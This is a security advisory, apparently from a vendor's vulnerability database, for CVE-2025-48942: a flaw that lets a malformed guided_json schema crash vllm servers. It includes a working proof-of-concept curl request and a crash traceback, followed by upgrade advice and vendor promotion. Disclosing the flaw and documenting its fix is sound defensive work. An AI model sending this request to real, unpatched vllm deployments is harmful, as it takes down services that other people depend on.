CVE-2025-48942

CVE-2025-48942 is a medium-severity security vulnerability in vllm (pip), affecting versions >= 0.8.0, < 0.9.0. It is fixed in 0.9.0.

Summary

Hitting the /v1/completions API with a invalid json_schema as a Guided Param will kill the vllm server

Details

The following API call
(venv) [derekh@ip-172-31-15-108 ]$ curl -s http://localhost:8000/v1/completions -H "Content-Type: application/json" -d '{"model": "meta-llama/Llama-3.2-3B-Instruct","prompt": "Name two great reasons to visit Sligo ", "max_tokens": 10, "temperature": 0.5, "guided_json":"{\"properties\":{\"reason\":{\"type\": \"stsring\"}}}"}'
will provoke a Uncaught exceptions from xgrammer in
./lib64/python3.11/site-packages/xgrammar/compiler.py

Issue with more information: https://github.com/vllm-project/vllm/issues/17248

PoC

Make a call to vllm with invalid json_scema e.g. {\"properties\":{\"reason\":{\"type\": \"stsring\"}}}

curl -s http://localhost:8000/v1/completions -H "Content-Type: application/json" -d '{"model": "meta-llama/Llama-3.2-3B-Instruct","prompt": "Name two great reasons to visit Sligo ", "max_tokens": 10, "temperature": 0.5, "guided_json":"{\"properties\":{\"reason\":{\"type\": \"stsring\"}}}"}'

Impact

vllm crashes

example traceback

ERROR 03-26 17:25:01 [core.py:340] EngineCore hit an exception: Traceback (most recent call last):
ERROR 03-26 17:25:01 [core.py:340]   File "/home/derekh/workarea/vllm/vllm/v1/engine/core.py", line 333, in run_engine_core
ERROR 03-26 17:25:01 [core.py:340]     engine_core.run_busy_loop()
ERROR 03-26 17:25:01 [core.py:340]   File "/home/derekh/workarea/vllm/vllm/v1/engine/core.py", line 367, in run_busy_loop
ERROR 03-26 17:25:01 [core.py:340]     outputs = step_fn()
ERROR 03-26 17:25:01 [core.py:340]               ^^^^^^^^^
ERROR 03-26 17:25:01 [core.py:340]   File "/home/derekh/workarea/vllm/vllm/v1/engine/core.py", line 181, in step
ERROR 03-26 17:25:01 [core.py:340]     scheduler_output = self.scheduler.schedule()
ERROR 03-26 17:25:01 [core.py:340]                        ^^^^^^^^^^^^^^^^^^^^^^^^^
ERROR 03-26 17:25:01 [core.py:340]   File "/home/derekh/workarea/vllm/vllm/v1/core/scheduler.py", line 257, in schedule
ERROR 03-26 17:25:01 [core.py:340]     if structured_output_req and structured_output_req.grammar:
ERROR 03-26 17:25:01 [core.py:340]                                  ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
ERROR 03-26 17:25:01 [core.py:340]   File "/home/derekh/workarea/vllm/vllm/v1/structured_output/request.py", line 41, in grammar
ERROR 03-26 17:25:01 [core.py:340]     completed = self._check_grammar_completion()
ERROR 03-26 17:25:01 [core.py:340]                 ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
ERROR 03-26 17:25:01 [core.py:340]   File "/home/derekh/workarea/vllm/vllm/v1/structured_output/request.py", line 29, in _check_grammar_completion
ERROR 03-26 17:25:01 [core.py:340]     self._grammar = self._grammar.result(timeout=0.0001)
ERROR 03-26 17:25:01 [core.py:340]                     ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
ERROR 03-26 17:25:01 [core.py:340]   File "/usr/lib64/python3.11/concurrent/futures/_base.py", line 456, in result
ERROR 03-26 17:25:01 [core.py:340]     return self.__get_result()
ERROR 03-26 17:25:01 [core.py:340]            ^^^^^^^^^^^^^^^^^^^
ERROR 03-26 17:25:01 [core.py:340]   File "/usr/lib64/python3.11/concurrent/futures/_base.py", line 401, in __get_result
ERROR 03-26 17:25:01 [core.py:340]     raise self._exception
ERROR 03-26 17:25:01 [core.py:340]   File "/usr/lib64/python3.11/concurrent/futures/thread.py", line 58, in run
ERROR 03-26 17:25:01 [core.py:340]     result = self.fn(*self.args, **self.kwargs)
ERROR 03-26 17:25:01 [core.py:340]              ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
ERROR 03-26 17:25:01 [core.py:340]   File "/home/derekh/workarea/vllm/vllm/v1/structured_output/__init__.py", line 120, in _async_create_grammar
ERROR 03-26 17:25:01 [core.py:340]     ctx = self.compiler.compile_json_schema(grammar_spec,
ERROR 03-26 17:25:01 [core.py:340]           ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
ERROR 03-26 17:25:01 [core.py:340]   File "/home/derekh/workarea/vllm/venv/lib64/python3.11/site-packages/xgrammar/compiler.py", line 101, in compile_json_schema
ERROR 03-26 17:25:01 [core.py:340]     self._handle.compile_json_schema(
ERROR 03-26 17:25:01 [core.py:340] RuntimeError: [17:25:01] /project/cpp/json_schema_converter.cc:795: Check failed: (schema.is<picojson::object>()) is false: Schema should be an object or bool
ERROR 03-26 17:25:01 [core.py:340] 
ERROR 03-26 17:25:01 [core.py:340] 
CRITICAL 03-26 17:25:01 [core_client.py:269] Got fatal signal from worker processes, shutting down. See stack trace above for root cause issue.

CVE-2025-48942 has a CVSS score of 6.5 (Medium). The vector is network-reachable, low privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (0.9.0); upgrading removes the vulnerable code path.

Affected versions

vllm (>= 0.8.0, < 0.9.0)

Security releases

vllm → 0.9.0 (pip)

Kodem intelligence

Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.

Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.

See it in your environment

Remediation advice

Frequently Asked Questions

  1. What is CVE-2025-48942? CVE-2025-48942 is a medium-severity security vulnerability in vllm (pip), affecting versions >= 0.8.0, < 0.9.0. It is fixed in 0.9.0.
  2. How severe is CVE-2025-48942? CVE-2025-48942 has a CVSS score of 6.5 (Medium). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
  3. Which versions of vllm are affected by CVE-2025-48942? vllm (pip) versions >= 0.8.0, < 0.9.0 is affected.
  4. Is there a fix for CVE-2025-48942? Yes. CVE-2025-48942 is fixed in 0.9.0. Upgrade to this version or later.
  5. Is CVE-2025-48942 exploitable, and should I be worried? Whether CVE-2025-48942 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
  6. What actually determines whether CVE-2025-48942 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
  7. How do I fix CVE-2025-48942? Upgrade vllm to 0.9.0 or later.

Other vulnerabilities in vllm

CVE-2026-54233CVE-2026-54236CVE-2026-53923CVE-2026-12491CVE-2026-48746

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